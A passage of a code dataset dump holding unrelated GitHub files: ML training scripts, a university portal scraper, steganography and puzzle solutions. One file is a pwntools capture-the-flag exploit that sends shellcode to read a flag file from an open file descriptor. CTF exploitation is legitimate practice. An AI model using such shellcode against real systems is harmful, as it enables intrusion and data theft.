x):\n\t\t\n\t\tfeature = self.fc(x)\n\t\t\n\t\tout = self.cls(feature)\n\n\t\treturn out, feature\n\n\nif __name__ == \"__main__\":\n\t\n\ttrain = False\n\tif train:\n\t\tclf = SimpleClassifier().to(device)\n\t\t#clf.load_state_dict(torch.load('./p1/model_p1_v1_8_30.pth'))\n\t\tloss_fn = nn.CrossEntropyLoss()\n\t\toptimizer = optim.Adam(clf.parameters(), lr=1e-4, weight_decay=0.9)\n\n\t\tdataloader = DATASET('./hw4_data/TrimmedVideos/video/train', './hw4_data/TrimmedVideos/label/gt_train.csv', train=True)\n\t\tdataloader = DataLoader(dataloader, batch_size = BATCH_SIZE, shuffle=True)\n\n\t\teval_dataloader = DATASET('./hw4_data/TrimmedVideos/video/valid', './hw4_data/TrimmedVideos/label/gt_valid.csv', train=True)\n\t\teval_dataloader = DataLoader(eval_dataloader, batch_size = BATCH_SIZE, shuffle=True)\n\t\t\n\t\tplot_xy = []\n\t\tplot_ac = []\n\t\tfor ep in range(40):\n\t\t\tprint(ep)\n\n\t\t\tclf.train()\n\t\t\tfor step, batch in enumerate(dataloader):\n\t\t\t\toptimizer.zero_grad()\n\n\t\t\t\tif step % 5 == 0:\n\t\t\t\t\tprint('[%d]/[%d]' % (step, len(dataloader)))\n\t\t\t\t\n\t\t\t\tframe, label = batch\n\t\t\t\tframe = frame.to(device)\n\t\t\t\tlabel = label.to(device)\n\t\t\t\tlabel = label.view(-1)\n\n\t\t\t\tpred, _ = clf(frame)\n\t\t\t\tloss = loss_fn(pred, label)\n\t\t\t\t\n\t\t\t\tloss.backward()\n\t\t\t\toptimizer.step()\n\n\t\t\tclf.eval()\n\t\t\ttotal_loss = 0\n\t\t\tac = 0\n\t\t\tmy_pred, my_label = [], []\n\t\t\twith torch.no_grad():\n\t\t\t\tfor step, batch in enumerate(eval_dataloader):\n\t\t\t\t\t\n\t\t\t\t\tframe, label = batch\n\t\t\t\t\tframe = frame.to(device)\n\t\t\t\t\tlabel = label.to(device)\n\t\t\t\t\tlabel = label.view(-1)\n\t\t\t\t\n\t\t\t\t\tpred, _ = clf(frame)\n\t\t\t\t\tloss = loss_fn(pred, label)\n\t\t\t\t\n\t\t\t\t\ttotal_loss += loss.item()\n\t\t\t\t\tmy_pred.append(np.argmax(pred.cpu().detach().numpy(), axis=1).reshape(-1))\n\t\t\t\t\tmy_label.append(label.cpu().detach().numpy())\n\t\t\t\t\t\n\t\t\t\t\tac += np.sum(np.argmax(pred.cpu().detach().numpy(), axis=1) == label.cpu().detach().numpy())\n\t\t\tplot_xy.append([ep, total_loss])\n\t\t\tplot_ac.append([ep, ac/len(eval_dataloader) / BATCH_SIZE])\n\t\t\tmy_pred = np.concatenate([ele for ele in my_pred])\n\t\t\tmy_label = np.concatenate([ele for ele in my_label])\n\t\t\tprint(confusion_matrix(my_pred, my_label))\n\n\t\t\tprint('Eval Loss : [%.4f] ' % (total_loss / len(eval_dataloader)))\n\t\t\tprint('Accuracy : [%.4f] ' % (ac / len(eval_dataloader) / BATCH_SIZE))\n\t\t\ttorch.save(clf.state_dict(), './p1/model_p1_v1_'+str(ep)+'_'+str(int(ac/len(eval_dataloader)/BATCH_SIZE*100))+'.pth')\n\t\t\tnp.save('./p1/p1_loss_v1_22.npy', np.array(plot_xy))\n\t\t\tnp.save('./p1/p1_ac_v1_22.npy', np.array(plot_ac))\n\n\t\tplot_xy = np.array(plot_xy)\n\t\tplt.plot(plot_xy[:, 0], plot_xy[:, 1])\n\t\tplt.show()\n\n\t\tplot_ac = np.array(plot_ac)\n\t\tplt.plot(plot_ac[:, 0], plot_ac[:, 1])\n\t\tplt.show()\n\n\telse:\n\t\targs = sys.argv[1:]\n\t\tp1, p2, p3 = args\n\n\t\tclf = SimpleClassifier(False).to(device)\t\n\t\tclf.load_state_dict(torch.load('./p1/model_p1_v1_15_30.pth'))\n\t\tclf.eval()\n\t\t\n\t\tdataloader = DATASET(p1, p2, train=True)\n\t\tdataloader = DataLoader(dataloader, batch_size = BATCH_SIZE, shuffle=True)\n\t\t\n\t\ttotal_loss = 0\n\t\tac = 0\n\t\tall_output = []\n\t\twith torch.no_grad():\n\t\t\tfor step, batch in enumerate(dataloader):\n\t\t\t\tif step % 10 == 0:\n\t\t\t\t\tprint('[%d]/[%d]' % (step, len(dataloader)))\n\t\t\t\tframe, label = batch\n\t\t\t\tframe = frame.to(device)\n\t\t\t\tlabel = label.to(device)\n\t\t\t\tlabel = label.view(-1)\n\t\t\t\n\t\t\t\tpred = clf(frame)\n\t\t\t\tpred = pred[0]\n\t\t\t\tall_output.append(np.argmax(pred.cpu().detach().numpy().flatten()))\n\t\t\n\t\tall_output = np.array([out for out in all_output]).flatten()\n\t\tnp.savetxt(os.path.join(os.getcwd(), p3, 'p1_valid.txt'), all_output, fmt='%d')\n","repo_name":"choupingru/LSTM-video-classification","sub_path":"model_p1.py","file_name":"model_p1.py","file_ext":"py","file_size_in_byte":4326,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"30253894019","text":"import numpy as np\n\n\n\n'''\nCompute cost function\n@param x matrix of size (set_len, input_len)\n@param y vector of size (set_len) - expected values\n@param w vector of size (input_len) - weights\n@param b vector of size (1) - bias\n@return cost value\n'''\ndef cost_function(X, y, w, b):\n y_hat = np.dot(X, w) + b\n res = 0.5 * np.sum((y - y_hat) ** 2)\n return res\n\n\ndef evaluate(X, y, w, b):\n print('Cost: ' + str(cost_function(X, y, w, b)))\n\n\n'''\nApply stochastic gradient descent on the whole training set of size set_len\n@param x matrix of size (set_len, input_len)\n@param y vector of size (set_len) - expected values\n@param w vector of size (input_len) - weights\n@param b vector of size (1) - bias\n@param lr - learning rate\n@return vector (input_len) updated weights, updated biais\n'''\ndef sgd(X, y, w, b, lr):\n y_hat = np.dot(X, w) + b\n dW = np.dot(X.T, y_hat - y)\n dB = sum(y_hat - y)\n w = w - lr * dW\n b = b - lr * dB\n return w, b\n\n\n'''\n@param x matrix of size (set_len, input_len)\n@param y vector of size (set_len) - expected values\n@param epochs - number of epochs of learning\n@param lr - learning rate\n\nRun the training for several epochs.\nAfter each epochs, the wieghts are tested on the training set\n'''\ndef train(X, y, epochs, lr):\n\n w = np.random.randn(X.shape[1])\n b = np.random.randn(1)\n\n #Training\n for i in range(1, epochs + 1):\n print('Epoch :' + str(i))\n w, b = sgd(X, y, w, b, lr)\n evaluate(X, y, w, b)\n\n return w, b\n","repo_name":"obs145628/py-linear-regression","sub_path":"lineareg.py","file_name":"lineareg.py","file_ext":"py","file_size_in_byte":1496,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"43908952647","text":"import argparse\nimport time\nfrom pwn import *\ncontext.update(arch='amd64')\nFLAG_FILE=b\"/flag\"\n# parser=argparse.ArgumentParser()\n# parser.add_argument(\"address\",default=\"127.0.0.1:8000\",help=\"Address of challenge\")\n# args=parser.parse_args()\n# HOST,PORT=args.address.split(':')\n# r=remote(HOST,int(PORT))\n\nr=process(\"../handout/challenge\")\ndef run_input(code:bytes):\n print(r.readuntil(b\"Choice:\"))\n r.sendline(b\"1\")\n r.sendlineafter(b\"> \",b\"/dev/stdin\")\n time.sleep(0.1)\n r.send(code)\n r.sendline()\n \ndef run_file(fn:bytes):\n print(r.readuntil(b\"Choice:\"))\n r.sendline(b\"1\")\n r.sendlineafter(b\"> \",fn)\n \nrun_file(FLAG_FILE)\nrun_file(FLAG_FILE)\n\ninstrs = [\n \"mov rsi, [rbp-0x28]\",\n \"add rsi, 12\",\n \n \"xor rax, rax\",\n \"mov rdi, 5\",\n \"mov rdx, 64\",\n \"syscall\",\n]\n\nshellcode = asm('\\n'.join(instrs))\nrun_input(shellcode)\n\ntime.sleep(0.1)\nr.sendlineafter(b\"Choice: \",b\"2\")\nr.interactive()\n","repo_name":"079035/PWN","sub_path":"CTF/defcon2023-quals/livectf/livectf-challenge-2/exploit/exp.py","file_name":"exp.py","file_ext":"py","file_size_in_byte":939,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"72047406321","text":"from aiohttp.hdrs import METH_GET, METH_POST\nfrom aiohttp.web import Response, Request\nfrom .worker import main_task\n\nasync def handle_request(request: Request):\n if request.method == METH_GET:\n return Response(status=200)\n elif request.method == METH_POST:\n data = await request.read()\n if data is not None:\n main_task.delay(data)\n return Response(status=200)\n return Response(body='forbidden, debug_uid=9f11235f', status=403)\n","repo_name":"eightnoteight/smarthooks","sub_path":"src/main/smarthooks/geeksforgeeksbot/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":476,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"4236386035","text":"import argparse\nimport os\nfrom os import path\nimport time\nimport copy\nimport torch\nfrom torch import nn\nimport shutil\nfrom gan_training import utils\nfrom gan_training.train import Trainer, update_average\nfrom gan_training.logger import Logger\nfrom gan_training.checkpoints import CheckpointIO\nfrom gan_training.inputs import get_dataset\nfrom gan_training.distributions import get_ydist, get_zdist\nfrom gan_training.eval import Evaluator\nfrom gan_training.config import (\n load_config, build_models, build_optimizers, build_lr_scheduler,\n)\n\n# Arguments\nparser = argparse.ArgumentParser(\n description='Train a GAN with different regularization strategies.'\n)\nparser.add_argument('config', type=str, help='Path to config file.')\nparser.add_argument('--no-cuda', action='store_true', help='Do not use cuda.')\n\nargs = parser.parse_args()\n\nconfig = load_config(args.config, 'configs/default.yaml')\nis_cuda = (torch.cuda.is_available() and not args.no_cuda)\nprint(f\"is_cuda: {is_cuda}\")\n\n# Short hands\nbatch_size = config['training']['batch_size']\nd_steps = config['training']['d_steps']\ng_steps = config['training']['g_steps']\nrestart_every = config['training']['restart_every']\ninception_every = config['training']['inception_every']\nsave_every = config['training']['save_every']\nbackup_every = config['training']['backup_every']\nsample_nlabels = config['training']['sample_nlabels']\n\nout_dir = config['training']['out_dir']\n\nexp_name = \"mdl_\" + str(config['training']['mdl_every']) + f\"_{config['training']['mdl_d_wt']}_{config['training']['mdl_g_wt']}\" + \\\n \"_supcon_\" + str(config['training']['supcon_every']) + f\"_{config['training']['supcon_wt']}\"\n\nexp_name += config['training']['misc']\nout_dir = path.join(out_dir, exp_name)\ncheckpoint_dir = path.join(out_dir, 'chkpts')\n\n# Create missing directories\nif not path.exists(out_dir):\n os.makedirs(out_dir)\nif not path.exists(checkpoint_dir):\n os.makedirs(checkpoint_dir)\n\nshutil.copy(args.config, out_dir) # copy config file to the experiment output\n\n# Logger\ncheckpoint_io = CheckpointIO(\n checkpoint_dir=checkpoint_dir\n)\n\ndevice = torch.device(\"cuda:0\" if is_cuda else \"cpu\")\n\n# whether to start from a pretrained weights\ntry:\n DATA_FIX = config['data']['data_fix']\n load_dir = config['data']['pretrain_dir']\nexcept:\n DATA_FIX = None\n load_dir = None\n\n# Dataset\ntrain_dataset, nlabels = get_dataset(\n name=config['data']['type'],\n data_dir=config['data']['train_dir'],\n size=config['data']['img_size'],\n lsun_categories=config['data']['lsun_categories_train']\n)\ntrain_loader = torch.utils.data.DataLoader(\n train_dataset,\n batch_size=batch_size,\n num_workers=config['training']['nworkers'],\n shuffle=True, pin_memory=False, sampler=None, drop_last=True\n)\ntry:\n print(\"CLASS MAPPING: \", train_dataset.class_to_idx)\nexcept:\n pass\n\n# Number of labels\nnlabels = min(nlabels, config['data']['nlabels'])\nsample_nlabels = min(nlabels, sample_nlabels)\n\n# Create models\ngenerator, discriminator = build_models(config)\n# print(generator)\n# print(discriminator)\nnum_params = sum(x.numel() for x in generator.parameters())\nprint('GENERATOR PARAMETERS: ', num_params)\n\n# Start from pretrained model\nif DATA_FIX and load_dir:\n print(\"Loading pretrained weights...!\")\n dict_G = torch.load(load_dir + DATA_FIX + 'Pre_generator')\n generator = utils.attach_partial_params(generator, dict_G)\n # generator = load_model_norm(generator)\n dict_D = torch.load(load_dir + DATA_FIX + 'Pre_discriminator')\n discriminator = utils.attach_partial_params(discriminator, dict_D)\n\n# Put models on gpu if needed\ngenerator = generator.to(device)\ndiscriminator = discriminator.to(device)\n\ng_optimizer, d_optimizer = build_optimizers(\n generator, discriminator, config\n)\n\n# Use multiple GPUs if possible\ngenerator = nn.DataParallel(generator)\ndiscriminator = nn.DataParallel(discriminator)\n\n# Register modules to checkpoint\ncheckpoint_io.register_modules(\n generator=generator,\n discriminator=discriminator,\n g_optimizer=g_optimizer,\n d_optimizer=d_optimizer,\n)\n\n# Get model file\nmodel_file = config['training']['model_file']\n\n# Logger\nlogger = Logger(\n log_dir=path.join(out_dir, 'logs'),\n img_dir=path.join(out_dir, 'imgs'),\n monitoring=config['training']['monitoring'],\n monitoring_dir=path.join(out_dir, 'monitoring')\n)\n\n# Distributions\nprint(f\"** N_LABELS: {nlabels} **\")\nydist = get_ydist(nlabels, device=device)\nzdist = get_zdist(config['z_dist']['type'], config['z_dist']['dim'],\n device=device)\n\n# Save for tests\nntest = batch_size\nx_real, ytest = utils.get_nsamples(train_loader, ntest)\nytest.clamp_(None, nlabels-1)\nztest = zdist.sample((ntest,))\nutils.save_images(x_real, path.join(out_dir, 'real.png'))\n\n# Test generator\nif config['training']['take_model_average']:\n generator_test = copy.deepcopy(generator)\n checkpoint_io.register_modules(generator_test=generator_test)\nelse:\n generator_test = generator\n\n# Evaluator\nevaluator = Evaluator(generator_test, zdist, ydist,\n batch_size=batch_size, config=config, out_dir=out_dir, device=device)\n\n# Train\ntstart = t0 = time.time()\n\n# Load checkpoint if it exists\ntry:\n load_dict = checkpoint_io.load(model_file)\nexcept FileNotFoundError:\n it = epoch_idx = -1\nelse:\n it = load_dict.get('it', -1)\n epoch_idx = load_dict.get('epoch_idx', -1)\n logger.load_stats('stats.p')\n\n# Reinitialize model average if needed\nif (config['training']['take_model_average']\n and config['training']['model_average_reinit']):\n update_average(generator_test, generator, 0.)\n\n# Learning rate annealing\ng_scheduler = build_lr_scheduler(g_optimizer, config, last_epoch=it)\nd_scheduler = build_lr_scheduler(d_optimizer, config, last_epoch=it)\n\n# Trainer\ntrainer = Trainer(\n generator, discriminator, g_optimizer, d_optimizer,\n batch_size=batch_size,\n config=config\n)\n\n# shorthands\nn_epoch = config['training']['n_epoch']\nn_task = config['training']['n_task']\nmdl_every = config['training']['mdl_every']\nsupcon_every = config['training']['supcon_every']\n\nlogger.add('Generator', 'num_params', num_params, it=0)\n\n# Training loop\nprint('Start training...')\n\nfor epoch_idx in range(n_epoch):\n # epoch_idx += 1\n # print('Start epoch %d...' % epoch_idx)\n\n for x_real, y in train_loader:\n it += 1\n g_scheduler.step()\n d_scheduler.step()\n\n if it == 0:\n print(\"LABEL example: \", y)\n\n d_lr = d_optimizer.param_groups[0]['lr']\n g_lr = g_optimizer.param_groups[0]['lr']\n logger.add('learning_rates', 'discriminator', d_lr, it=it)\n logger.add('learning_rates', 'generator', g_lr, it=it)\n\n x_real, y = x_real.to(device), y.to(device)\n y.clamp_(None, nlabels-1)\n\n # Discriminator updates\n if ((it + 1) % d_steps) == 0:\n z = zdist.sample((batch_size,))\n\n if supcon_every > 0 and (it + 1) % supcon_every == 0:\n supcon_loss = trainer.discriminator_supcon(x_real, y, zdist)\n logger.add('losses', 'supcon', supcon_loss, it=it)\n\n if mdl_every > 0 and (it + 1) % mdl_every == 0:\n dloss, mdl_dloss = trainer.discriminator_mdl(x_real, y, z)\n logger.add('losses', 'discriminator', dloss, it=it)\n logger.add('losses', 'mdl-d', mdl_dloss, it=it)\n\n # Regular discriminator updates\n else:\n dloss, reg = trainer.discriminator_trainstep(x_real, y, z)\n logger.add('losses', 'discriminator', dloss, it=it)\n logger.add('losses', 'regularizer', reg, it=it)\n\n # Generators updates\n if ((it + 1) % g_steps) == 0:\n z = zdist.sample((batch_size,))\n\n if mdl_every > 0 and (it + 1) % mdl_every == 0:\n gloss, mdl_gloss = trainer.generator_mdl(y, z)\n logger.add('losses', 'generator', gloss, it=it)\n logger.add('losses', 'mdl-g', mdl_gloss, it=it)\n else:\n gloss = trainer.generator_trainstep(y, z)\n logger.add('losses', 'generator', gloss, it=it)\n\n if config['training']['take_model_average']:\n update_average(generator_test, generator, beta=config['training']['model_average_beta'])\n\n # Print stats\n g_loss_last = logger.get_last('losses', 'generator')\n mdl_g_loss_last = logger.get_last('losses', 'mdl-g')\n d_loss_last = logger.get_last('losses', 'discriminator')\n mdl_d_loss_last = logger.get_last('losses', 'mdl-d')\n supcon_last = logger.get_last('losses', 'supcon')\n d_reg_last = logger.get_last('losses', 'regularizer')\n if it % 1 == 0:\n print(\n '[epoch %0d, it %4d] g_loss = %.3f, d_loss = %.3f, mdl_g = %.3f, mdl_d = %.3f, supcon = %.3f, reg=%.3f'\n % (epoch_idx, it, g_loss_last, d_loss_last, mdl_g_loss_last, mdl_d_loss_last, supcon_last,\n d_reg_last))\n\n # (i) Sample if necessary\n if (it % config['training']['sample_every']) == 0:\n print('Creating samples...')\n # x = evaluator.create_samples(ztest, ytest)\n # logger.add_imgs(x, 'all', it)\n for y_inst in range(sample_nlabels):\n x = evaluator.create_samples(ztest, y_inst)\n logger.add_imgs(x, '%04d' % y_inst, it)\n\n # (ii) Compute inception if necessary\n if inception_every > 0 and ((it + 1) % inception_every) == 0:\n # inception_mean, inception_std = evaluator.compute_inception_score()\n print(\"Calculating FID...\")\n if \"uncon\" in config['data']['train_dir']:\n # TODO: this code is pathetic!\n # TODO: Hard coded........\n fid = evaluator.compute_fid(3)\n logger.add('FID', 'score', fid, it=it)\n else:\n fids = []\n for cls in range(0, 7):\n fid = evaluator.compute_fid(cls)\n fids.append(fid)\n print(f\"FID: {fids}\")\n # logger.add('inception_score', 'mean', inception_mean, it=it)\n # logger.add('inception_score', 'stddev', inception_std, it=it)\n logger.add('FID', 'score', fids, it=it)\n\n # (iii) Backup if necessary\n if ((it + 1) % backup_every) == 0:\n print('Saving backup...')\n checkpoint_io.save('model_%08d.pt' % it, it=it)\n logger.save_stats('stats_%08d.p' % it)\n\n # (iv) Save checkpoint if necessary\n if time.time() - t0 > save_every:\n print('Saving checkpoint...')\n checkpoint_io.save(model_file, it=it)\n logger.save_stats('stats.p')\n t0 = time.time()\n\n if (restart_every > 0 and t0 - tstart > restart_every):\n exit(3)\n\nwith open(path.join(out_dir, \"final_result.txt\"), 'w') as f:\n for k, v in evaluator.curBest.items():\n f.write(f\"{k}: {v:.2f}\")\n f.write('\\n')","repo_name":"reyllama/conpro","sub_path":"train.py","file_name":"train.py","file_ext":"py","file_size_in_byte":11080,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"19549033494","text":"import sys\nfrom os import path\nif path.exists('input.txt'):\n sys.stdin = open(\"input.txt\", \"r\")\n\nfrom collections import deque\nn,m= map(int,input().split())\nxlist=list(map(int,input().split()))\nq=deque([i for i in range(1,n+1)])\ncount=0\nfor x in xlist:\n while True:\n if q[0]==x:\n q.popleft()\n break\n else:\n if q.index(x) arr2[p2]:\n p2 += 1\n \n elif arr1[p1] < arr2[p2]:\n p1 += 1\n return res\n\n# print(Solution().intersect([1, 2, 3, 3, 4, 5, 6],[3,3,5]))","repo_name":"farhan0581/gfgcodes","sub_path":"2pointers/intersect_sorted_arrays.py","file_name":"intersect_sorted_arrays.py","file_ext":"py","file_size_in_byte":590,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"6593794584","text":"import requests, html, json\nfrom bs4 import BeautifulSoup\n\ns = requests.Session()\nroot_url = None\nprevious_url = None\n\ndef login(root, sid, pin, security_answer):\n global root_url\n root_url = root\n url = root_url + \"/PRODCartridge/twbkwbis.P_GenMenu?name=bmenu.P_RegMnu\"\n r = s.get(url)\n cookies = dict(r.cookies)\n\n referer = url\n url = root_url + \"/PRODCartridge/twbkwbis.P_ValLogin\"\n headers = {\n \"Referer\": referer\n }\n data = {\n \"sid\": sid,\n \"PIN\": pin\n }\n r = s.post(url, headers=headers, data=data, cookies=cookies)\n\n referer = url\n url = root_url + \"/PRODCartridge/twbkwbis.P_ProcSecurityAnswer\"\n headers = {\n \"Referer\": referer\n }\n data = {\n \"RET_CODE\": \"\",\n \"SID\": sid,\n \"QSTN_NUM\": 1,\n \"answer\": security_answer\n }\n r = s.post(url, headers=headers, data=data, cookies=cookies)\n\n index_of_url = r.text.find(\"url\")\n url = r.text[index_of_url+4:]\n index_of_end = url.find(\"\\\"\")\n url = url[:index_of_end]\n url = root_url + \"\" + html.unescape(url)\n r = s.get(url)\n global previous_url\n previous_url = url\n\ndef navigate_to(url, headers=None, data=None, cookies=None, method=\"GET\"):\n global previous_url\n referer = previous_url\n s.headers.update({\"Referer\": referer})\n if method is \"GET\":\n r = s.get(url, headers=headers, data=data)\n elif method is \"POST\":\n r = s.post(url, headers=headers, data=data, cookies=cookies)\n\n previous_url = url\n return r\n\ndef get_courses(year, term):\n term_code = year\n if term.strip().lower() == \"spring\":\n term_code += \"01\"\n elif term.strip().lower() == \"summer\":\n term_code += \"02\"\n else:\n term_code += \"03\"\n\n r = navigate_to(root_url + \"/PRODCartridge/bwskfshd.P_CrseSchdDetl\", method=\"POST\", data={\"term_in\": term_code})\n soup = BeautifulSoup(r.text, \"html.parser\")\n return_data = {}\n\n return_data['total_credits'] = int(float(r.text[r.text.find(\"Total Credit Hours: \")+len(\"Total Credit Hours: \"):r.text.find(\"Total Credit Hours: \")+len(\"Total Credit Hours: \")+6]))\n\n return_data['courses'] = []\n course_divs = soup.find_all(\"table\", summary=\"This layout table is used to present the schedule course detail\")\n for course_div in course_divs:\n course = {}\n course['title'] = course_div.find(\"caption\").string.split(\" - \")[0]\n course['subject'] = course_div.find(\"caption\").string.split(\" - \")[1].split(\" \")[0]\n course['number'] = course_div.find(\"caption\").string.split(\" - \")[1].split(\" \")[1]\n course['section'] = course_div.find(\"caption\").string.split(\" - \")[2]\n\n for row in course_div.find_all(\"th\"):\n attribute_name = \"\"\n for string in row.stripped_strings:\n attribute_name += string\n attribute_name = attribute_name.lower().replace(\":\",\"\").replace(\" \",\"_\")\n \n attribute_desc = \"\"\n for string in row.find_next(\"td\").stripped_strings:\n attribute_desc += string\n \n course[attribute_name] = attribute_desc\n course['crn'] = int(float(course['crn']))\n course['credits'] = int(float(course['credits']))\n \n return_data['courses'].append(course)\n\n return return_data\n\ndef get_awards(year):\n data = {\n \"tab_type\": \"A0\",\n \"aidy_in\": year,\n \"calling_proc_name\": \"\"\n }\n r = navigate_to(root_url + \"/PRODCartridge/bwrkrhst.P_DisplayTabs?tab_type=AO&aidy_in=1718&calling_proc_name=\", data=data)\n soup = BeautifulSoup(r.text, \"html.parser\")\n return_data = {}\n\n return_data['awards'] = []\n award_table = soup.find(\"table\", summary=\"This table lists the award information.\")\n table_rows = award_table.find_all(\"tr\")\n table_rows.pop(0)\n table_rows.pop(0)\n for table_row in table_rows:\n award = {}\n row = table_row.find_all(\"td\")\n award['fund'] = combine_strings(row[0].stripped_strings)\n award['fall'] = {\n \"status\": combine_strings(row[1].stripped_strings),\n \"amount\": combine_strings(row[2].stripped_strings)\n }\n award['spring'] = {\n \"status\": combine_strings(row[3].stripped_strings),\n \"amount\": combine_strings(row[4].stripped_strings)\n }\n award['total'] = combine_strings(row[5].stripped_strings)\n return_data['awards'].append(award)\n return_data['awards'].pop()\n \n return return_data\n\ndef get_grades(year, term):\n term_code = year\n if term.strip().lower() == \"spring\":\n term_code += \"01\"\n elif term.strip().lower() == \"summer\":\n term_code += \"02\"\n else:\n term_code += \"03\"\n\n r = navigate_to(root_url + \"/PRODCartridge/bwskogrd.P_ViewGrde\", method=\"POST\", data={\"term_in\": term_code})\n soup = BeautifulSoup(r.text, \"html.parser\")\n return_data = {}\n\n return_data['grades'] = []\n grades_div = soup.find_all(\"table\", \"datadisplaytable\")[1]\n\n table_rows = grades_div.find_all(\"tr\")\n table_rows.pop(0)\n for table_row in table_rows:\n grade = {}\n row = table_row.find_all(\"td\")\n grade['title'] = combine_strings(row[4].stripped_strings)\n grade['subject'] = combine_strings(row[1].stripped_strings)\n grade['number'] = combine_strings(row[2].stripped_strings)\n grade['section'] = combine_strings(row[3].stripped_strings)\n grade['crn'] = int(float(combine_strings(row[0].stripped_strings)))\n grade['final_grade'] = combine_strings(row[6].stripped_strings)\n grade['credits'] = int(float(combine_strings(row[9].stripped_strings)))\n grade['quality_points'] = float(combine_strings(row[10].stripped_strings))\n return_data['grades'].append(grade)\n\n return return_data\n\ndef combine_strings(strings):\n return_string = \"\"\n for string in strings:\n return_string += string\n return return_string\n\ndef write_file(text, file_name):\n f = open(file_name, 'w')\n f.write(text)","repo_name":"Alex979/banweb-python","sub_path":"banweb/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":6022,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"372768772","text":"import json\nimport os\nfrom pathlib import Path\nimport time\n\n#from solution1 import max_price #dfs \n#from solution2 import max_price #dfs + dp \n#from solution3 import max_price #dfs + dp v2\nfrom solution4 import max_price #dfs + dp v2 + divide to conquer\n\n####################################################################\n### asserts \nbar_size = 0\nprice_map = []\nassert max_price(bar_size=bar_size, price_map=price_map) is False, \"Should be False\"\n\nbar_size = 1\nprice_map = [2, 30]\nassert max_price(bar_size=bar_size, price_map=price_map) is False, \"Should be False\"\n\nbar_size = 10\nprice_map = [35,7,35,84,21,31,4,58,77,20]\nassert max_price(bar_size, price_map) == 350, \"Should be 350\"\n\nbar_size = 5\nprice_map = [5,2,10,50,20]\nassert max_price(bar_size=bar_size, price_map=price_map) == 55, \"Should be 55\"\n\n####################################################################\n### simple tests\ninputs = [\n (4, [1,5,15,60])\n ,(5, [5,2,10,50,20])\n ,(10, [35,7,35,84,21,31,4,58,77,20]) \n]\n\nfor bar_size, price_map in inputs:\n print('Inputs: ', bar_size, price_map)\n start = time.perf_counter()\n price = max_price(bar_size, price_map)\n end = time.perf_counter()\n print(\"Result: \", price)\n print(f\"Best price calculated in {end - start:0.10f} seconds\")\n print(\"=========================\") \n \n####################################################################\n### load tests\ncurrent_path = os.path.join( os.path.dirname( __file__ ), '..' )\ncurrent_path.encode('unicode_escape')\ncurrent_path = current_path.replace('\\\\','/') \njsons_path = str(Path(current_path).parents[2])\njsons_path.encode('unicode_escape')\njsons_path = jsons_path.replace('\\\\','/') + \"/datasets/stored/\"\n\nfiles = [\n 'single-bar-5.json',\n 'single-bar-10.json',\n 'single-bar-100.json',\n 'single-bar-1000.json',\n 'single-bar-10000.json',\n 'single-bar-100000.json',\n 'single-bar-1000000.json',\n]\n\nfor file in files:\n file_path = jsons_path + file\n json_data = [] \n \n with open(file=file_path) as json_file:\n json_data = json.load(json_file)\n print('Inputs: ', len(json_data))\n #print('Inputs: ', len(json_data), json_data)\n \n start = time.perf_counter()\n price = max_price(bar_size=len(json_data), price_map=json_data)\n end = time.perf_counter()\n \n print(\"Result: \", price)\n print(f\"Best price calculated in {end - start:0.10f} seconds\")\n print(\"=========================\")","repo_name":"tech-job-no-exterior/desafio-barra-de-ferro","sub_path":"single-bar/LucasTrindade/tests.py","file_name":"tests.py","file_ext":"py","file_size_in_byte":2483,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"75"} +{"seq_id":"13108288481","text":"import hilbert\nimport embed\nimport conversions\n\n\ndef decodeImage(image, x, y, sbDir, sbPole):\n secretData = \"\"\n cnt = 0\n if sbDir == 1:\n if sbPole == 1:\n for i in range(512*512):\n r = conversions.int2binary(image[x[i]][y[i]])\n secretData += str(1-int(r[7])) + \\\n str(1-int(r[6]))+str(1-int(r[5]))\n else:\n for i in range(512*512):\n r = conversions.int2binary(image[x[i]][y[i]])\n secretData += str(r[7]) + str(r[6])+str(r[5])\n else:\n if sbPole == 1:\n for i in range(512*512):\n r = conversions.int2binary(image[x[i]][y[i]])\n secretData += str(1-int(r[5])) + \\\n str(1-int(r[6]))+str(1-int(r[7]))\n else:\n for i in range(512*512):\n r = conversions.int2binary(image[x[i]][y[i]])\n secretData += str(r[5])+str(r[6])+str(r[7])\n secretFile = open(\"decodedData.txt\", 'w')\n secretFile.write(secretData)\n\n\ndef decodeFunction(strr, image):\n sbDir = strr[0]\n sbPole = strr[1]\n yValue = strr[2:11]\n xValue = strr[11:20]\n\n xOff = int(xValue, 2)\n yOff = int(yValue, 2)\n x, y = hilbert.genHilbert(512, 512)\n x, y = embed.genPoint(xOff, yOff, x, y)\n decodeImage(image, x, y, sbDir, sbPole)\n","repo_name":"thegauravparmar/genetic-hilbert-embedding","sub_path":"decode.py","file_name":"decode.py","file_ext":"py","file_size_in_byte":1344,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"9150808975","text":"import uvicorn\r\nimport requests\r\nimport numpy as np\r\nimport tensorflow as tf\r\n\r\nfrom PIL import Image\r\nfrom io import BytesIO\r\nfrom fastapi import FastAPI, File, UploadFile\r\nfrom fastapi.middleware.cors import CORSMiddleware\r\n\r\napp = FastAPI()\r\n\r\norigins = [\"http://localhost\", \"http://localhost:3000\", ]\r\n\r\nendpoint = \"http://localhost:8605/v1/models/email_model:predict\"\r\n\r\nCLASS_NAMES = [\"Angular Leaf Spot\", \"Anthracnose Fruit Rot\", \"Blossom Blight\",\r\n \"Gray Mold\", \"Leaf Spot\", \"Powdery Mildew Fruit\", \"Powdery Mildew Leaf\"]\r\n\r\napp.add_middleware(CORSMiddleware,\r\n allow_origins=origins,\r\n allow_credentials=True,\r\n allow_methods=[\"*\"],\r\n allow_headers=[\"*\"], )\r\n\r\n\r\n@app.get(\"/ping\")\r\nasync def 